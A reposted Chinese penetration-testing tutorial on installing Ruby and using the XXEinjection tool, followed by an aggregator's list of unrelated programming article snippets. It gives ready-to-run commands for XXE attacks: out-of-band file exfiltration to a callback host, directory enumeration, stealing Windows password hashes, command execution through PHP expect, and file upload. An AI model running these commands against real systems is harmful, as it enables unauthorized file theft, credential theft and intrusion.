XXE工具——XXEinjection安装与使用

news2024/11/18 19:39:31

今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE工具——XXEinjection安装与使用。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、XXEinjection工具介绍

XXEinjection是一个XXE漏洞利用工具,XXEinjection可以使用直接和带外方法(这里的带外方法指的是当XXE漏洞无回显时,使用特定方法让Web请求其他的URL,并将文件数据放在URL中,以此获得文件数据)获取文件信息。其中列举目录的功能仅适用于JAVA Web,暴力破解的方法适用于其他的应用。

二、Ruby环境安装

由于该XXEinjection是基于Ruby环境安装的,因此我们要运行该工具,就必须先安装Ruby环境。在Windows环境下,Ruby环境可以直接前往站点:
https://rubyinstaller.org/downloads/下载,该网页如下所示:
在这里插入图片描述
我们直接下载rubyinstaller,这个安装包会自动安装ruby,安装过程如下所示:
在这里插入图片描述
ruby环境安装完成后,我们可以在本地cmd环境下执行命令:

ruby -v

结果如下所示:
在这里插入图片描述
从上图可以看出,当前我们的ruby环境已经安装成功!

三、XXEinjection常用参数说明

XXEinjection工具常用参数如下所示:
–host 必选项,用于建立反向链接的IP地址(通常本机IP,测试公网站点必须保证为公网IP)
–file 必选项,包含有效HTTP请求的数据包文件。
–path 当用于枚举路径时的必选项,指定要枚举的目录
–brute 当需要爆破文件时的必选项,指定要爆破的文件路径
–logger 用于记录输出结果
–rhost 远程主机域名或者IP地址
–rport 指定远程主机的端口号
–phpfiler 使用此参数,表示使用PHP对目标文件进行base64编码
–netdoc 表示使用netdoc协议,java使用
–enumports 枚举用于反向链接的未过滤端口
–hashes 窃取运行当前Web程序的用户hash(针对Windows操作系统)
–expect 使用PHP的expect模块执行系统命令
–upload 使用JAVA jar向临时目录上传文件
–xslt 进行xslt注入测试
–ssl 表示使用https
–proxy 表示使用代理
–httpport 表示自定义http端口
–ftpport 表示自定义ftp端口
–gopherport 表示自定义gopher端口
–jarport 表示自定义文件上传端口
–xsltport 表示自定义进行XSLT注入测试的端口
–test 表示用于测试请求的有效性
–urlencode 表示进行URL编码
–output 表示指定一个文件作为日志,将爆破攻击结果输入该日志中
–timeout 表示设置接收文件或者目录的超时时间
–verbose 表示显示详细信息
–fast 表示跳过枚举查询,这样可以加快速度,但是有可能导致结果有误
–contimeout 表示设置与目标服务器的链接超时时间

四、XXEinjection使用示例

对该工具的利用,应该首先抓到指定目标访问的数据包,然后在可以写入XML文档的地方输入XXEINJECT,如下所示:
在这里插入图片描述
将上述数据包存储成本地txt文档后,就可以让该文档作为–file参数的值了。
XXEinjection使用示例如下所示:
1、ruby XXEinjection.rb --host=192.168.136.101 --path=/etc --file=./test.txt --ssl
表示枚举https应用中的/etc目录
2、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --oob=gopher
使用gopher(oob方法)枚举/etc目录
3、ruby XXEinjection.rb --host=192.168.136.101 --file=./text.txt -oob=http --netdoc
使用HTTP带外方法和netdoc协议进行攻击
4、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --enumports=all
枚举所有端口
5、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --hashes
窃取windows操作系统Web运行用户hash值
6、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --upload=./UploadFile
使用JAVA jar上传文件
7、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --oob=http --phpfilter --expect=id
调用expect模块,执行系统id命令
8、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --xslt
测试XSLT注入
9、ruby XXEinjection.rb --logger --oob=http --output=./output.txt
将请求信息写入到output.txt文件中。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/111080.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

直播推流神器 Kplayer 手把手教你在B站7*24h全天直播

开始前的准备工作 Linux服务器 (1)KPlayer目前仅支持Linux环境并需要满足x86_64(amd64)与aarch64(arm64)CPU架构的硬件环境上运行,我们已经将相关依赖库静态链接至主程序中,这意味着你不需要额外的安装任何的第三方库来支持KPlayer的运行。 在后续的迭代…

【数据预处理】基于Pandas的数据预处理技术【前七个任务】

文章目录一.需求分析二.需求解决2.1 本次实验以california_housing加州房价数据集为例,下载数据集2.2 查看数据集的描述、特征及目标数据名称、数据条数、特征数量2.3 将数据读入pandas的DataFrame并转存到csv文件2.4 查看数据集各个特征的类型以及是否有空值2.5 对…

五年经验的前端社招被问:CPU 和 GPU 有什么区别?

CPU 和 GPU 的设计目标和整体架构的区别分析,并在全文最后使用通俗的例子做比喻帮助理解。 首先来看 CPU 和 GPU 的百科解释: CPU(Central ProcessingUnit,中央处理器):功能主要是解释计算机指令以及处理计…

【工作流Activiti7】2、Activiti7 与 Spring Boot 及 Spring Security 整合

1. 前言 其实,选择用Activiti7没别的原因,就是因为穷。但凡是有钱,谁还用开源版的啊,当然是用商业版啦。国外的工作流引擎没有考虑中国的实际情况,很多像回退、委派、撤销等等功能都没有,所以最省事的还是…

若依前后端分离框架去掉首页 登录后跳转至动态路由的第一个路由

若依前后端分离框架去掉首页 登录后跳转至动态路由的第一个路由若依框架VUE前端界面,登录后默认跳转至动态路由第一路由(第一个子菜单)一、登录后跳转第一路由界面二、设置路由的首页路径,方便后续的获取三、点击若依的logo跳转的…

字符串函数(4)--strtok函数和strerror函数

1.strtok函数 — 分割字符串函数 2.strerror函数 — 错误报告函数 1.strstok函数的用法 char* strtok(char* str, const char* delimiters);直接看函数的声明: 参数1:要切割的地址,参数2:切割时的标记物 注意:strt…

单链表的python实现

首先说下线性表,线性表是一种最基本,最简单的数据结构,通俗点讲就是一维的存储数据的结构。 线性表分为顺序表和链接表: 顺序表示指的是用一组地址连续的存储单元依次存储线性表的数据元素,称为线性表的顺序存储结构或…

Nginx安装配置及vue项目部署【Centos7】

Background 网上好多都是源码安装,各种编译环境安装配置,感觉太麻烦了,这里直接下载一个rpm包就行了,离线安装也方便。 1、nginx rpm包下载 选择你要使用的版本下载。 nginx官方下载地址:http://nginx.org/packages/ce…

垃圾回收机制

1.什么场景下该使用什么垃圾回收策略? (1).对内存要求苛刻的场景 想办法提高对象的回收效率,尽可能的多回收一些对象,腾出更多内存 (2).在CPU使用率较高的情况下 降低高并发时垃圾回收频率,让CPU更多地去执行业务而不是垃圾回收 …

一文搞懂 Redis 架构演化之路

现如今 Redis 变得越来越流行,几乎在很多项目中都要被用到,不知道你在使用 Redis 时,有没有思考过,Redis 到底是如何稳定、高性能地提供服务的? 我使用 Redis 的场景很简单,只使用单机版 Redis 会有什么问…

vite + react +typescript 环境搭建,小白入门级教程

目录前言1. 使用 vite 创建 react 项目1. npm / yarn 命令初始化2. 输入项目名称3. 选择框架4. 选择 Js / Ts5. 项目创建完成6. 启动项目2. 规范项目目录3. 使用 react-router-dom 路由1. 使用 npm / yarn 命令下载2. 更改 react-router-dom 版本1. 通过 npm 命令降低版本2. 手…

rabbitmq基础5——集群节点类型、集群节点基础运维,集群管理命令,API接口工具

文章目录一、集群节点类型1.1 内存节点1.2 磁盘节点二、集群基础运维2.1 剔除单个节点2.1.1 集群正常踢出正常节点2.1.2 服务器异常宕机踢出节点2.1.3 集群正常重置并踢出节点2.2 集群节点版本升级2.3 集群某单节点故障恢复2.3.1 机器硬件故障2.3.2 机器掉电2.3.3 网络故障2.3.…

Android ShapeableImageView使用

ShapeableImageView使用使用 导包 implementation com.google.android.material:material:1.4.0属性 属性描述shapeAppearance样式shapeAppearanceOverlay样式,叠加层strokeWidth描边宽度strokeColor描边颜色 样式 名称属性值描述cornerFamilyrounded圆角cut裁剪…

学习记录-mybatis+vue+elementUi实现品牌查询

和以往不同的是,这一次使用了vue和axios来接收后端传过来的参数,并且新建了impl文件来继承service层的接口。该过程实现一共分为4步骤 步骤一 ①mapper mapper 写mapper接口 其实就是写SQL语句了,第一步就是写SQL。这里使用的是注解开发&…

程序员危机如何化解?

很多人认为程序员一定要干到管理层,才会有继续走下去的希望,而踏实做技术的程序员,只会面临淘汰。事实真是如此吗? △ 截图来源脉脉,如侵删 先不说结论,我们一起先看看网友们的看法: △ 截…

报表控件Stimulsoft v2023.1全新发布 | 附免费下载试用

Stimulsoft Ultimate 宣布发布新版本2023.1!在最新版本中添加了对Razor Pages的支持、新的数据监视器可视化工具、为PHP和Blazor平台更新了组件,欢迎下载试用! Stimulsoft Ultimate官方正版下载 Razor Pages 在 2023.1.1 版中,我们添加了对…

跨域问题以及解决跨域问题的vue-cli解决方案

跨域问题 写项目前要问后端,接口支持跨域吗? 支持就不会出现问题,不支持就需要解决跨域问题 1.如何判断一个浏览器的请求是否跨域? 在A地址(发起请求的页面地址)向B地址(要请求的目标页面地址)发起请求时&#xff…

【JavaEE】多线程(三)线程的状态

✨哈喽,进来的小伙伴们,你们好耶!✨ 🛰️🛰️系列专栏:【JavaEE】 ✈️✈️本篇内容:线程的状态,线程安全问题! 🚀🚀代码存放仓库gitee:JavaEE初阶代码存放&a…

抗癌药物之多肽药物偶联物技术(PDC)介绍

长期以来,心血管疾病是全球中年人死亡的主要原因。这种情况最近在高收入国家发生了变化,现在癌症导致的死亡人数是心血管疾病的两倍。2018 年,癌症导致全球 960 万人死亡,1810 万新病例被诊断出来。女性最常发生的癌症是乳腺癌&am…

12Python继承与多态

继承 面向对象三大特性 封装 根据 职责 将 属性 和 方法 封装 到一个抽象的 类 中继承 实现代码的重用,相同的代码不需要重复的编写多态 不同的对象调用相同的方法,产生不同的执行结果,增加代码的灵活度 1继承的概念、语法和特点 继承的概…